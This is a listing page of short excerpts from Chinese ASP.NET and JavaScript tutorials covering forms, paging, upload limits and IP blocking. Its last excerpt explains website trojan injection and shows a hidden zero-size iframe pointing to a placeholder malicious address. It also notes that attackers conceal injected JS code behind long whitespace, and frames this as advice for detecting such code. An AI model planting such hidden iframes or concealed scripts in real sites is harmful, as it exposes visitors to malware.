Time of Update: 2018-12-08
•可限制最大輸入字元長度 •可設定字元截取速度 •可自訂提示資訊文本樣式(可以改進自訂常值內容) 該外掛程式統計英文字元和中文的長度是一樣的。 廢話少說,這裡直接奉上詳細外掛程式代碼,具體實現細節已經在代碼裡面有注釋: 複製代碼 代碼如下:; (function ($) { $.fn.extend({ textAreaCount: function (options) { var $textArea = this; options = $.extend({ maxlength: 140, //
Time of Update: 2018-12-08
首先準備好頁面代碼: 複製代碼 代碼如下:<form id="form1" runat="server"> <div align="left"> <fieldset style="width: 350px; height: 150px"> <p> 選擇顏色</p> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td> </td&
Time of Update: 2018-12-08
介面代碼: 複製代碼 代碼如下:<form id="form1" runat="server"> <div align="center"> <fieldset style="width: 350px; height: 200px;"> <table border="0" cellpadding="3" cellspacing="3"> <tr> <td> 請選擇汽車類型: </td> </tr>
Time of Update: 2018-12-08
首先看下介面代碼: 複製代碼 代碼如下:<form id="form1" runat="server"> <div align="center"> <fieldset style="width: 350px; height: 200px;"> <table border="0" cellpadding="3" cellspacing="3"> <tr> <td> 請選擇汽車類型: </td>
Time of Update: 2018-12-08
ASP串連資料庫的連接字串是Provider=Microsoft.Jet.OLEDB.4.0; Data Source=路徑,採用的是OleDB方式串連,問題可能就出在OleDB方式串連這一環節上。 後來搜尋網路得到瞭解決的辦法 。原來是自己裝的64位Windows 7系統的原因,預設64位環境下,IIS應用程式集區未啟用32位應用程式,我們只需要啟用一下就可以了。開啟IIS
Time of Update: 2018-12-08
類名字空間前資源註冊 複製代碼 代碼如下:[assembly: System.Web.UI.WebResource("XXX.js.FilePlugin.js", "text/javascript")] OnPreRender事件 //資源名稱 string _strResourceKey = ""; //資源名稱 ClientScriptManager _csm = Page.ClientScript; //if
Time of Update: 2018-12-08
複製代碼 代碼如下:protected void dgQuery_ItemDataBound(object sender, DataGridItemEventArgs e) { if ((e.Item.ItemType != ListItemType.Header) && (e.Item.ItemType != ListItemType.Footer)) { DataRow drRow = ((DataRowView)e.Item.DataItem).Row; string
Time of Update: 2018-12-08
前台: 複製代碼 代碼如下:<asp:DataList ID="DataList1" runat="server" RepeatDirection="Horizontal" RepeatColumns="5" CellSpacing="25"> <ItemTemplate> <img src="<%# Eval("FullName") %>" width="50" height="50" border="0" >
Time of Update: 2018-12-08
LInq分頁 複製代碼 代碼如下:testDataContext dc = new testDataContext(); public string GetPageNum(GridView GridViewName, int pagesize, IQueryable<test> sql) { int page; if (HttpContext.Current.Request.QueryString["page"] != null) page =
Time of Update: 2018-12-08
需要實現EasyUI的datagrid組件加入選擇checkbox列,並提交後台大量新增的功能,頁面代碼如下: 複製代碼 代碼如下:<script language="javascript" type="text/javascript"> $(function() { //searchbox $('#selectgoods-keywords').searchbox({ searcher: function(val, name) { searchInfo(val); } });
Time of Update: 2018-12-08
執行個體驗證如下: 複製代碼 代碼如下:private void 反白(string 要尋找字串) { //首先找到要尋找字串的起始位置 int 開始位置=richTextBox短語顯示.Find(要尋找字串); //判斷一下是否找到,如果找不到那麼開始位置是-1 if (開始位置>=0) { richTextBox短語顯示.SelectionStart = 開始位置; //得到字串的長度 richTextBox短語顯示.SelectionLength = 要尋找字串.Length; //
Time of Update: 2018-12-08
在web.config中控制上傳檔案大小的地方: 複製代碼 代碼如下:<system.web><httpRuntime executionTimeout="9999" maxRequestLength="2097151"/></system.web> maxRequestLength是控制上傳大小得參數請求的最大大小(以KB為單位)。預設大小為 4096 KB (4 MB)。ExecutionTimeout 指示在請求被 ASP.NET
Time of Update: 2018-12-08
一、禁止指定IP防問網站,並執行相應操作: 複製代碼 代碼如下:<% Dim IP,IPString,VisitIP '設定IP地址,用“|”隔開 IPString="|192.168.0.42|192.168.0.43|" '擷取IP地址 IP = Request.ServerVariables("HTTP_X_FORWARDED_FOR") If IP = "" Then IP = Request.ServerVariables("REMOTE_ADDR") End If
Time of Update: 2018-12-08
js: 複製代碼 代碼如下:function Save()//儲存不是服務端控制項的值 { var 1= document.getElementById('1Box').value; var 2 = document.getElementById('2Box').value; var TxtValue = 1 + "■" + 2; document.getElementById('3).value = TxtValue; return true; }
Time of Update: 2018-12-08
request.params其實是一個集合,它依次包括request.querystring、request.form、request.cookies和request.servervariables。 如果要在兩個頁面傳遞資料的話,只能用request.querystring、request.form、request.cookies Request.Params 是在 QueryString、Form、Server Variable 以及 Cookies 找資料, 他首先在
Time of Update: 2018-12-08
最終效果:要合并內容行,我想是不可能的,我上網找了N久,也沒找到,囧~ 後來經過自己的短暫思考,終於想到另一種合并了,:-) 實現方法很簡單,就是在報表屬性的代碼裡加上以下這段代碼: 複製代碼 代碼如下:Function GetRemark(rowNum As Integer, remark As String) As String Dim cutLength As Integer = 10 Return Mid(remark, cutLength * (rowNum - 1) + 1,
Time of Update: 2018-12-08
在做asp.net的Web開發的時候,我們經常會遇到一次性上傳多個檔案的需求。通常我們的解決方案是固定放多個上傳檔案框,這樣的解決辦法顯然是不合理的,因為一次上傳多個,就意味著數量不確定。因此我們就要讓這些檔案上傳框動態添加,下面我以我做的一個圖庫管理中的上傳圖片的功能為例 先看效果: 開啟的初始介面: 預設是上傳一個圖片,但當我們點“增加圖片”按鈕時可以實現選擇多個圖片及其描述同時上傳,本功能限制一次最多隻能上傳8張,且每張圖片大小不超過1M,這個大家可根據實際情況更改! 下面來看實現過程:
Time of Update: 2018-12-08
複製代碼 代碼如下:'函數:空值測試 Function inull(Val) Dim tmp tmp = False If IsNull(Val) Then tmp = True ElseIf IsEmpty(Val) Then tmp = True ElseIf Trim(Val) = "" Then tmp = True End If inull = tmp End Function 測試變數是否為空白值,空值的含義包括:變數不存在/為空白,對象為Nothing,0,空數組,字串為空白
Time of Update: 2018-12-08
前台頁面 複製代碼 代碼如下:<head runat="server"> <title>無標題頁</title> <script src="Js/jquery-1.5.1.min.js" type="text/javascript"></script> <script src="Js/Demo.js" type="text/javascript"></script> </head> <body&
Time of Update: 2018-12-08
一:架構掛馬 <iframe src=地址 width=0 height=0></iframe> 其中“地址”處可以輸入惡意網站連結等 二:js檔案掛馬 只要是JS檔案,都可以通過被惡意修改從而被掛上惡意代碼,一般被全站引用的JS代碼最容易被掛木馬,檢測我們可以查看JS代碼的左邊或下邊,壞人很喜歡將惡意代碼與正常代碼間用很多空格或斷行符號來進行隱藏,所以要多看看JS字碼頁面有沒有被故意拉長等。 三:js變形加密 <SCRIPT